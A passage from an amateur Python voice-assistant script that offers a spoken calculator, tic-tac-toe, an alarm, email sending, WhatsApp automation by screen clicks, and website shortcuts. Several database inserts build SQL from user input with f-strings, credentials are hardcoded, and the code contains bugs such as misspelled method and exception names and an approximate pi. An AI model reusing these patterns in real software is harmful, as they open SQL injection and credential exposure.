float(input("Enter a number:")) speak('Enter another number') b = float(input("Enter another number:")) c = a%b print(f"{a} % {b} = {c}") speak(f'The modular division of {a} and {b} is equal to {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'div' in query: speak('Enter a number as dividend') a = float(input("Enter a number:")) speak('Enter another number as divisor') b = float(input("Enter another number as divisor:")) c = a/b print(f"{a} / {b} = {c}") speak(f'{a} divided by {b} is equal to {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'multi' in query: speak('Enter a number') a = float(input("Enter a number:")) speak('Enter another number to multiply') b = float(input("Enter another number to multiply:")) c = a*b print(f"{a} x {b} = {c}") speak(f'The multiplication of {a} and {b} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'square root' in query: speak('Enter a number to find its sqare root') a = float(input("Enter a number:")) c = a**(1/2) print(f"Square root of {a} = {c}") speak(f'Square root of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'square' in query: speak('Enter a number to find its sqare') a = float(input("Enter a number:")) c = a**2 print(f"{a} x {a} = {c}") speak(f'Square of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cube root' in query: speak('Enter a number to find its cube root') a = float(input("Enter a number:")) c = a**(1/3) print(f"Cube root of {a} = {c}") speak(f'Cube root of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cube' in query: speak('Enter a number to find its sqare') a = float(input("Enter a number:")) c = a**3 print(f"{a} x {a} x {a} = {c}") speak(f'Cube of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'fact' in query: try: n = int(input('Enter the number whose factorial you want to find:')) fact = 1 for i in range(1,n+1): fact = fact*i print(f"{n}! = {fact}") speak(f'{n} factorial is equal to {fact}. Your answer is {fact}.') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: #print(e) speak('I unable to calculate its factorial.') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'power' in query or 'raise' in query: speak('Enter a number whose power you want to raised') a = float(input("Enter a number whose power to be raised :")) speak(f'Enter a raised power to {a}') b = float(input(f"Enter a raised power to {a}:")) c = a**b print(f"{a} ^ {b} = {c}") speak(f'{a} raise to the power {b} = {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'percent' in query: speak('Enter a number whose percentage you want to calculate') a = float(input("Enter a number whose percentage you want to calculate :")) speak(f'How many percent of {a} you want to calculate?') b = float(input(f"Enter how many percentage of {a} you want to calculate:")) c = (a*b)/100 print(f"{b} % of {a} is {c}") speak(f'{b} percent of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'interest' in query: speak('Enter the principal value or amount') p = float(input("Enter the principal value (P):")) speak('Enter the rate of interest per year') r = float(input("Enter the rate of interest per year (%):")) speak('Enter the time in months') t = int(input("Enter the time (in months):")) interest = (p*r*t)/1200 sint = round(interest) fv = round(p + interest) print(f"Interest = {interest}") print(f"The total amount accured, principal plus interest, from simple interest on a principal of {p} at a rate of {r}% per year for {t} months is {p + interest}.") speak(f'interest is {sint}. The total amount accured, principal plus interest, from simple interest on a principal of {p} at a rate of {r}% per year for {t} months is {fv}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'si' in query: speak('Enter the angle in degree to find its sine value') a = float(input("Enter the angle:")) b = a * 3.14/180 c = math.sin(b) speak('Here is your answer.') print(f"sin({a}) = {c}") speak(f'sin({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cos' in query: speak('Enter the angle in degree to find its cosine value') a = float(input("Enter the angle:")) b = a * 3.14/180 c = math.cos(b) speak('Here is your answer.') print(f"cos({a}) = {c}") speak(f'cos({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cot' in query or 'court' in query: try: speak('Enter the angle in degree to find its cotangent value') a = float(input("Enter the angle:")) b = a * 3.14/180 c = 1/math.tan(b) speak('Here is your answer.') print(f"cot({a}) = {c}") speak(f'cot({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print("infinity") speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'tan' in query or '10' in query: speak('Enter the angle in degree to find its tangent value') a = float(input("Enter the angle:")) b = a * 3.14/180 c = math.tan(b) speak('Here is your answer.') print(f"tan({a}) = {c}") speak(f'tan({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cosec' in query: try: speak('Enter the angle in degree to find its cosecant value') a = float(input("Enter the angle:")) b = a * 3.14/180 c =1/ math.sin(b) speak('Here is your answer.') print(f"cosec({a}) = {c}") speak(f'cosec({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print('Infinity') speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'caus' in query: try: speak('Enter the angle in degree to find its cosecant value') a = float(input("Enter the angle:")) b = a * 3.14/180 c =1/ math.sin(b) speak('Here is your answer.') print(f"cosec({a}) = {c}") speak(f'cosec({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print('Infinity') speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'sec' in query: try: speak('Enter the angle in degree to find its secant value') a = int(input("Enter the angle:")) b = a * 3.14/180 c = 1/math.cos(b) speak('Here is your answer.') print(f"sec({a}) = {c}") speak(f'sec({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print('Infinity') speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: speak('I unable to do this calculation.') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') def callback(r,c): global player if player == 'X' and states[r][c] == 0 and stop_game == False: b[r][c].configure(text='X',fg='blue', bg='white') states[r][c] = 'X' player = 'O' if player == 'O' and states[r][c] == 0 and stop_game == False: b[r][c].configure(text='O',fg='red', bg='yellow') states[r][c] = 'O' player = 'X' check_for_winner() def check_for_winner(): global stop_game global root for i in range(3): if states[i][0] == states[i][1]== states[i][2]!=0: b[i][0].config(bg='grey') b[i][1].config(bg='grey') b[i][2].config(bg='grey') stop_game = True root.destroy() for i in range(3): if states[0][i] == states[1][i] == states[2][i]!= 0: b[0][i].config(bg='grey') b[1][i].config(bg='grey') b[2][i].config(bg='grey') stop_game = True root.destroy() if states[0][0] == states[1][1]== states[2][2]!= 0: b[0][0].config(bg='grey') b[1][1].config(bg='grey') b[2][2].config(bg='grey') stop_game = True root.destroy() if states[2][0] == states[1][1] == states[0][2]!= 0: b[2][0].config(bg='grey') b[1][1].config(bg='grey') b[0][2].config(bg='grey') stop_game = True root.destroy() def sendEmail(to,content): server = smtplib.SMTP('smtp.gmail.com', 587) server.ehlo() server.starttls() server.login('xyz123@gmail.com','password') server.sendmail('xyz123@gmail.com',to,content) server.close() def brightness(): try: query = takeCommand().lower() if '25' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1610,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') elif '50' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1684,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') elif '75' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1758,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') elif '100' in query or 'full' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1835,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') else: speak('Please select 25, 50, 75 or 100....... Say again.') brightness() except exception as e: #print(e) speak('Something went wrong') def close_window(): try: if 'y' in query: pyautogui.moveTo(1885,10) pyautogui.click() else: speak('ok') pyautogui.moveTo(1000,500) except exception as e: #print(e) speak('error') def whatsapp(): query = takeCommand().lower() if 'y' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('whatsapp') time.sleep(2) pyautogui.press('enter') time.sleep(2) pyautogui.moveTo(100,140) pyautogui.click() speak('To whom you want to send message,.....just write the name here in 5 seconds') time.sleep(7) pyautogui.moveTo(120,300) pyautogui.click() time.sleep(1) pyautogui.moveTo(800,990) pyautogui.click() speak('Say the message,....or if you want to send anything else,...say send document, or say send emoji') query = takeCommand() if ('sent' in query or 'send' in query) and 'document' in query: pyautogui.moveTo(660,990) pyautogui.click() time.sleep(1) pyautogui.moveTo(660,740) pyautogui.click() speak('please select the document within 10 seconds') time.sleep(12) speak('Should I send this document?') query = takeCommand().lower() if 'y' in query and 'no' not in query: speak('sending the document......') pyautogui.press('enter') speak('Do you want to send message again to anyone?') whatsapp() elif ('remove' in query or 'cancel' in query or 'delete' in query or 'clear' in query) and ('document' in query or 'message' in query or 'it' in query or 'emoji' in query or 'select' in query): pyautogui.doubleClick(x=800, y=990) pyautogui.press('backspace') speak('Do you want to send message again to anyone?') whatsapp() else: speak('ok') elif ('sent' in query or 'send' in query) and 'emoji' in query: pyautogui.moveTo(620,990) pyautogui.click() pyautogui.moveTo(670,990) pyautogui.click() pyautogui.moveTo(650,580) pyautogui.click() speak('please select the emoji within 10 seconds') time.sleep(11) speak('Should I send this emoji?') query = takeCommand().lower() if 'y' in query and 'no' not in query: speak('Sending the emoji......') pyautogui.press('enter') speak('Do you want to send message again to anyone?') whatsapp() elif ('remove' in query or 'cancel' in query or 'delete' in query or 'clear' in query) and ('message' in query or 'it' in query or 'emoji' in query or 'select' in query): pyautogui.doublClick(x=800, y=990) speak('Do you want to send message again to anyone?') whatsapp() else: speak('ok') else: pyautogui.write(f'{query}') speak('Should I send this message?') query = takeCommand().lower() if 'y' in query and 'no' not in query: speak('sending the message......') pyautogui.press('enter') speak('Do you want to send message again to anyone?') whatsapp() elif ('remove' in query or 'cancel' in query or 'delete' in query or 'clear' in query) and ('message' in query or 'it' in query or 'select' in query): pyautogui.doubleClick(x=800, y=990) pyautogui.press('backspace') speak('Do you want to send message again to anyone?') whatsapp() else: speak('ok') else: speak('ok') def alarm(): root = Tk() root.title('Akshu2020 Alarm-Clock') speak('Please enter the time in the format hour, minutes and seconds. When the alarm should rang?') speak('Please enter the time greater than the current time') def setalarm(): alarmtime = f"{hrs.get()}:{mins.get()}:{secs.get()}" print(alarmtime) if(alarmtime!="::"): alarmclock(alarmtime) else: speak('You have not entered the time.') def alarmclock(alarmtime): while True: time.sleep(1) time_now=datetime.datetime.now().strftime("%H:%M:%S") print(time_now) if time_now == alarmtime: Wakeup=Label(root, font = ('arial', 20, 'bold'), text="Wake up! Wake up! Wake up",bg="DodgerBlue2",fg="white").grid(row=6,columnspan=3) speak("Wake up, Wake up") print("Wake up!") mixer.init() mixer.music.load(r'C:\Users\Admin\Music\Playlists\wake-up-will-you-446.mp3') mixer.music.play() break speak('you can click on close icon to close the alarm window.') hrs=StringVar() mins=StringVar() secs=StringVar() greet=Label(root, font = ('arial', 20, 'bold'),text="Take a short nap!").grid(row=1,columnspan=3) hrbtn=Entry(root,textvariable=hrs,width=5,font =('arial', 20, 'bold')) hrbtn.grid(row=2,column=1) minbtn=Entry(root,textvariable=mins, width=5,font = ('arial', 20, 'bold')).grid(row=2,column=2) secbtn=Entry(root,textvariable=secs, width=5,font = ('arial', 20, 'bold')).grid(row=2,column=3) setbtn=Button(root,text="set alarm",command=setalarm,bg="DodgerBlue2", fg="white",font = ('arial', 20, 'bold')).grid(row=4,columnspan=3) timeleft = Label(root,font=('arial', 20, 'bold')) timeleft.grid() mainloop() def select1(): global vs global root3 global type_of_review if vs.get() == 1: message.showinfo(" ","Thank you for your review!!") review = "Very Satisfied" type_of_review = "Positive" root3.destroy() elif vs.get() == 2: message.showinfo(" ","Thank you for your review!!") review = "Satisfied" type_of_review = "Positive" root3.destroy() elif vs.get() == 3: message.showinfo(" ","Thank you for your review!!!!") review = "Neither Satisfied Nor Dissatisfied" type_of_review = "Neutral" root3.destroy() elif vs.get() == 4: message.showinfo(" ","Thank you for your review!!") review = "Dissatisfied" type_of_review = "Negative" root3.destroy() elif vs.get() == 5: message.showinfo(" ","Thank you for your review!!") review = "Very Dissatisfied" type_of_review = "Negative" root3.destroy() elif vs.get() == 6: message.showinfo(" "," Ok ") review = "I do not want to give review" type_of_review = "No review" root3.destroy() try: conn.execute(f"INSERT INTO `review`(review,type_of_review) VALUES('{review}', '{type_of_review}')") conn.commit() except Exception as e: pass def select_review(): global root3 global vs global type_of_review root3 = Tk() root3.title("Select an option") vs = IntVar() string = "Are you satisfied with my performance?" msgbox = Message(root3,text=string) msgbox.config(bg="lightgreen",font = "(20)") msgbox.grid(row=0,column=0) rs1=Radiobutton(root3,text="Very Satisfied",font="(20)",value=1,variable=vs).grid(row=1,column=0,sticky=W) rs2=Radiobutton(root3,text="Satisfied",font="(20)",value=2,variable=vs).grid(row=2,column=0,sticky=W) rs3=Radiobutton(root3,text="Neither Satisfied Nor Dissatisfied",font="(20)",value=3,variable=vs).grid(row=3,column=0,sticky=W) rs4=Radiobutton(root3,text="Dissatisfied",font="(20)",value=4,variable=vs).grid(row=4,column=0,sticky=W) rs5=Radiobutton(root3,text="Very Dissatisfied",font="(20)",value=5,variable=vs).grid(row=5,column=0,sticky=W) rs6=Radiobutton(root3,text="I don't want to give review",font="(20)",value=6,variable=vs).grid(row=6,column=0,sticky=W) bs = Button(root3,text="Submit",font="(20)",activebackground="yellow",activeforeground="green",command=select1) bs.grid(row=7,columnspan=2) root3.mainloop() while True : query = takeCommand().lower() # logic for executing tasks based on query if 'wikipedia' in query: speak('Searching wikipedia...') query = query.replace("wikipedia","") results = wikipedia.summary(query, sentences=2) speak("According to Wikipedia") print(results) speak(results) elif 'translat' in query or ('let' in query and 'translat' in query and 'open' in query): webbrowser.open('https://translate.google.co.in') time.sleep(10) elif 'open map' in query or ('let' in query and 'map' in query and 'open' in query): webbrowser.open('https://www.google.com/maps') time.sleep(10) elif ('open' in query and 'youtube' in query) or ('let' in query and 'youtube' in query and 'open' in query): webbrowser.open('https://www.youtube.com') time.sleep(10) elif 'chrome' in query: webbrowser.open('https://www.chrome.com') time.sleep(10) elif 'weather' in query: webbrowser.open('https://www.yahoo.com/news/weather') time.sleep(3) speak('Click on, change location, and enter the city , whose whether conditions you want to know.') time.sleep(10) elif 'google map' in query: webbrowser.open('https://www.google.com/maps') time.sleep(10) elif ('open' in query and 'google' in query) or ('let' in query and 'google' in query and 'open' in query): webbrowser.open('google.com') time.sleep(10) elif ('open' in query and 'stack' in query and 'overflow' in query) or ('let' in query and 'stack' in query and 'overflow' in query and 'open' in query): webbrowser.open('stackoverflow.com') time.sleep(10) elif 'open v i' in query or 'open vi' in query or 'open vierp' in query or ('open' in query and ('r p' in query or 'rp' in query)): webbrowser.open('https://www.vierp.in/login/erplogin') time.sleep(10) elif 'news' in query: webbrowser.open('https://www.bbc.com/news/world') time.sleep(10) elif 'online shop' in query or (('can' in query or 'want' in query or 'do' in query or 'could' in query) and 'shop' in query) or('let' in query and 'shop' in query): speak('From which online shopping website, you want to shop? Amazon, flipkart, snapdeal or naaptol?') query = takeCommand().lower() if 'amazon' in query: webbrowser.open('https://www.amazon.com') time.sleep(10) elif 'flip' in query: webbrowser.open('https://www.flipkart.com') time.sleep(10) elif 'snap' in query: webbrowser.open('https://www.snapdeal.com') time.sleep(10) elif 'na' in query: webbrowser.open('https://www.naaptol.com') time.sleep(10) else: speak('Sorry sir, you have to search in browser as his shopping website is not reachable for me.') elif ('online' in query and ('game' in query or 'gaming' in query)): webbrowser.open('https://www.agame.com/games') time.sleep(10) elif 'dictionary' in query: webbrowser.open('https://www.dictionary.com') time.sleep(3) speak('Enter the word, in the search bar of the dictionary, whose defination or synonyms you want to know') time.sleep(3) elif ('identif' in query and 'emoji' in query) or ('sentiment' in query and ('analysis' in query or 'identif' in query)): speak('Please enter only one emoji at a time.') emoji = input('enter emoji here: ') if '😀' in emoji or '😃' in emoji or '😄' in emoji or '😁' in emoji or '🙂' in emoji or '😊' in emoji or '☺️' in emoji or '😇' in emoji or '🥲' in emoji: speak('happy') print('Happy') elif '😝' in emoji or '😆' in emoji or '😂' in emoji or '🤣' in emoji: speak('Laughing') print('Laughing') elif '😡' in emoji or '😠' in emoji or '🤬' in emoji: speak('Angry') print('Angry') elif '🤫' in emoji: speak('Keep quite') print('Keep quite') elif '😷' in emoji: speak('face with mask') print('Face with mask') elif '🥳' in emoji: speak('party') print('party') elif '😢' in emoji or '😥' in emoji or '😓' in emoji or '😰' in emoji or '☹️' in emoji or '🙁' in emoji or '😟' in emoji or '😔' in emoji or '😞️' in emoji: speak('Sad') print('Sad') elif '😭' in emoji: speak('Crying') print('Crying') elif '😋' in emoji: speak('Tasty') print('Tasty') elif '🤨' in emoji: speak('Doubt') print('Doubt') elif '😴' in emoji: speak('Sleeping') print('Sleeping') elif '🥱' in emoji: speak('feeling sleepy') print('feeling sleepy') elif '😍' in emoji or '🥰' in emoji or '😘' in emoji: speak('Lovely') print('Lovely') elif '😱' in emoji: speak('Horrible') print('Horrible') elif '🎂' in emoji: speak('Cake') print('Cake') elif '🍫' in emoji: speak('Cadbury') print('Cadbury') elif '🇮🇳' in emoji: speak('Indian national flag,.....Teeranga') print('Indian national flag - Tiranga') elif '💐' in emoji: speak('Bouquet') print('Bouquet') elif '🥺' in emoji: speak('Emotional') print('Emotional') elif ' ' in emoji or '' in emoji: speak(f'{emoji}') else: speak("I don't know about this emoji") print("I don't know about this emoji") try: conn.execute(f"INSERT INTO `emoji`(emoji) VALUES('{emoji}')") conn.commit() except Exception as e: #print('Error in storing emoji in database') pass elif 'time' in query: strTime = datetime.datetime.now().strftime("%H:%M:%S") print(strTime) speak(f"Sir, the time is {strTime}") elif 'open' in query and 'sublime' in query: path = "C:\Program Files\Sublime Text 3\sublime_text.exe" os.startfile(path) elif 'image' in query: path = "C:\Program Files\Internet Explorer\images" os.startfile(path) elif 'quit' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'exit' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'stop' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'shutdown' in query or 'shut down' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'close you' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() try: conn.execute(f"INSERT INTO `voice_assistant_review`(review, type_of_review) VALUES('{review}', '{type_of_review}')") conn.commit() except Exception as e: pass elif 'bye' in query: speak('Bye Sir') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'wait' in query or 'hold' in query: speak('for how many seconds or minutes I have to wait?') query = takeCommand().lower() if 'second' in query: query = query.replace("please","") query = query.replace("can","") query = query.replace("you","") query = query.replace("have","") query = query.replace("could","") query = query.replace("hold","") query = query.replace("one","1") query = query.replace("only","") query = query.replace("wait","") query = query.replace("for","") query = query.replace("the","") query = query.replace("just","") query = query.replace("seconds","") query = query.replace("second","") query = query.replace("on","") query = query.replace("a","") query = query.replace("to","") query = query.replace(" ","") #print(f'query:{query}') if query.isdigit() == True: #print('y') speak('Ok sir') query = int(query) time.sleep(query) speak('my waiting time is over') else: print('sorry sir. I unable to complete your request.') elif 'minute' in query: query = query.replace("please","") query = query.replace("can","") query = query.replace("you","") query = query.replace("have","") query = query.replace("could","") query = query.replace("hold","") query = query.replace("one","1") query = query.replace("only","") query = query.replace("on","") query = query.replace("wait","") query = query.replace("for","") query = query.replace("the","") query = query.replace("just","") query = query.replace("and","") query = query.replace("half","") query = query.replace("minutes","") query = query.replace("minute","") query = query.replace("a","") query = query.replace("to","") query = query.replace(" ","") #print(f'query:{query}') if query.isdigit() == True: #print('y') speak('ok sir') query = int(query) time.sleep(query*60) speak('my waiting time is over') else: print('sorry sir. I unable to complete your request.') elif 'play' in query and 'game' in query: speak('I have 3 games, tic tac toe game for two players,....mario, and dyno games for single player. Which one of these 3 games you want to play?') query = takeCommand().lower() if ('you' in query and 'play' in query and 'with' in query) and ('you' in query and 'play' in query and 'me' in query): speak('Sorry sir, I cannot play this game with you.') speak('Do you want to continue it?') query = takeCommand().lower() try: if 'y' in query or 'sure' in query: root = Tk() root.title("TIC TAC TOE (By Akshay Khare)") b = [ [0,0,0], [0,0,0], [0,0,0] ] states = [ [0,0,0], [0,0,0], [0,0,0] ] for i in range(3): for j in range(3): b[i][j] = Button(font = ("Arial",60),width = 4,bg = 'powder blue', command = lambda r=i, c=j: callback(r,c)) b[i][j].grid(row=i,column=j) player='X' stop_game = False mainloop() else: speak('ok sir') except Exception as e: #print(e) time.sleep(3) print('I am sorry sir. There is some problem in loading the game. So I cannot open it.') elif 'tic' in query or 'tac' in query: try: root = Tk() root.title("TIC TAC TOE (Rayen Kallel)") b = [ [0,0,0], [0,0,0], [0,0,0] ] states = [ [0,0,0], [0,0,0], [0,0,0] ] for i in range(3): for j in range(3): b[i][j] = Button(font = ("Arial",60),width = 4,bg = 'powder blue', command = lambda r=i, c=j: callback(r,c)) b[i][j].grid(row=i,column=j) player='X' stop_game = False mainloop() except Exception as e: #print(e) time.sleep(3) speak('I am sorry sir. There is some problem in loading the game. So I cannot open it.') elif 'mar' in query or 'mer' in query or 'my' in query: webbrowser.open('https://chromedino.com/mario/') time.sleep(2.5) speak('Enter upper arrow key to start the game.') time.sleep(20) elif 'di' in query or 'dy' in query: webbrowser.open('https://chromedino.com/') time.sleep(2.5) speak('Enter upper arrow key to start the game.') time.sleep(20) else: speak('ok sir') elif 'change' in query and 'you' in query and 'voice' in query: engine.setProperty('voice', voices[1].id) speak("Here's an example of one of my voices. Would you like to use this one?") query = takeCommand().lower() if 'y' in query or 'sure' in query or 'of course' in query: speak('Great. I will keep using this voice.') elif 'n' in query: speak('Ok. I am back to my other voice.') engine.setProperty('voice', voices[0].id) else: speak('Sorry, I am having trouble understanding. I am back to my other voice.') engine.setProperty('voice', voices[0].id) elif 'www.' in query and ('.com' in query or '.in' in query): webbrowser.open(query) time.sleep(10) elif '.com' in query or '.in' in query: webbrowser.open(query) time.sleep(10) elif 'getting bore' in query: speak('then speak with me for sometime') elif 'i bore' in query: speak('Then speak with me for sometime.') elif 'i am bore' in query: speak('Then speak with me for sometime.') elif 'calculat' in query: speak('Yes. Which kind of calculation you want to do? add, substract, divide, multiply or anything else.') query = takeCommand().lower() calculator() elif 'add' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif '+' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'plus' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'subtrac' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'minus' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'multipl' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif ' x ' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'slash' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif '/' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'divi' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'trigonometr' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'percent' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif '%' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'raise to ' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'simple interest' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'akshay' in query: speak('Mr. Rayen Kallel is my inventor. He is 14 years old and he is A STUDENT AT THE COLLEGE PILOTEE SFAX') elif 'your inventor' in query: speak('Mr. Rayen Kallel is my inventor') elif 'your creator' in query: speak('Mr. Rayen Kallel is my creator') elif 'invent you' in query: speak('Mr. Rayen Kallel invented me') elif 'create you' in query: speak('Mr. Rayen Kallel created me') elif 'how are you' in query: speak('I am fine Sir') elif 'write' in query and 'your' in query and 'name' in query: print('Akshu2020') pyautogui.write('Akshu2020') elif 'write' in query and ('I' in query or 'whatever' in query) and 'say' in query: speak('Ok sir I will write whatever you will say. Please put your cursor where I have to write.......Please Start speaking now sir.') query = takeCommand().lower() pyautogui.write(query) elif 'your name' in query: speak('My name is akshu2020') elif 'who are you' in query: speak('I am akshu2020') elif ('repeat' in query and ('word' in query or 'sentence' in query or 'line' in query) and ('say' in query or 'tell' in query)) or ('repeat' in query and 'after' in query and ('me' in query or 'my' in query)): speak('yes sir, I will repeat your words starting from now') query = takeCommand().lower() speak(query) time.sleep(1) speak("If you again want me to repeat something else, try saying, 'repeat after me' ") elif ('send' in query or 'sent' in query) and ('mail' in query or 'email' in query or 'gmail' in query): try: speak('Please enter the email id of receiver.') to = input("Enter the email id of reciever: ") speak(f'what should I say to {to}') content = takeCommand() sendEmail(to, content) speak("Email has been sent") except Exception as e: #print(e) speak("sorry sir. I am not able to send this email") elif 'currency' in query and 'conver' in query: speak('I can convert, US dollar into dinar, and dinar into US dollar. Do you want to continue it?') query = takeCommand().lower() if 'y' in query or 'sure' in query or 'of course' in query: speak('which conversion you want to do? US dollar to dinar, or dinar to US dollar?') query = takeCommand().lower() if ('dollar' in query or 'US' in query) and ('dinar' in query): speak('Enter US Dollar') USD = float(input("Enter United States Dollar (USD):")) DT = USD * 0.33 dt = "{:.4f}".format(DT) print(f"{USD} US Dollar is equal to {dt} dniar.") speak(f'{USD} US Dollar is equal to {dt} dinar.') speak("If you again want to do currency conversion then say, 'convert currency' " ) elif ('dinar' in query) and ('to US' in query or 'to dollar' in query or 'to US dollar'): speak('Enter dinar') DT = float(input("Enter dinar (DT):")) USD = DT/0.33 usd = "{:.3f}".format(USD) print(f"{DT} dinar is equal to {usd} US Dollar.") speak(f'{DT} dinar rupee is equal to {usd} US Dollar.') speak("If you again want to do currency conversion then say, 'convert currency' " ) else: speak("I cannot understand what did you say. If you want to convert currency just say 'convert currency'") else: print('ok sir') elif 'about you' in query: speak('My name is akshu2020. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device. I am also able to send email') elif 'your intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your short intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your quick intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Akshay Khare is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your brief intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'you work' in query: speak('run the program and say what do you want. so that I can help you. In this way I work') elif 'your job' in query: speak('My job is to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your work' in query: speak('My work is to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'work you' in query: speak('My work is to send email and play 